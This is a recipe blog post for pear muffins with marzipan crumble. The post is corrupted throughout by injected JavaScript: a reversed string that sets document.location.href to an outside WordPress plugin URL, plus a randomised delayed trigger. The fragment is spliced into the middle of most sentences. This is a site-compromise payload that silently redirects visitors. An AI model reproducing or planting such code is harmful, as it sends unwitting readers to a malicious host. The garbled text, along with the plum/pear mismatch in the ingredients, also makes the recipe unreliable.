My plum crumble muffins sold like hot..uhm..like hot plum crumble muffins :-).
And I was asked if it is possible toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to add marzipan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the crumble. You bet!
Here is a variation of the plum crumble and this time the leading role is played bei Mrs.Pear who covers herself with marzipan crumble. Delicious! 🙂

For 12 muffins:
250 g (9 oz) flour
2,5 tsp baking powder
125 g (4,5 oz) sugar
1 tsp vanilla extract
1 egg
250 g (8 oz) yoghurt
80 ml (3/8 cup) vegetable oil
350 g (12 oz) plums
for the marzipan crumble:
150 g (5 oz) flour
100 g (3,5 oz) butter
100g (3,5 oz) sugar
100g (3,5 oz) marzipan
1 packet vanilla sugar or 1 Tsp vanilla extract

Preheat oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to about 375° Fahrenheit.
Mix flour with bakingpowder and sift it. Peel the pears and cut them intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pieces.
Mix sugar and the egg toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together, then add vanilla extract, oil and joghurt.
Now carefully mix in the sifted flour/bakingpowder and the pears.

For the crumble, put the flour in a mixing bowl toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together with the rest of the crumble ingredients. Whisk all the ingredients toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together.
Fill the muffin-mixture intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to muffin moulds or a greased muffin pan and spread the crumble on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top.
Bake them for about 25-30 min in the preheated oven until they are goldbrown.

Tags: Birnenstreusel, Birnenstreuselmuffins, marzipancrumble, Marzipanstreusel, pearcrumble, pearcrumblemuffins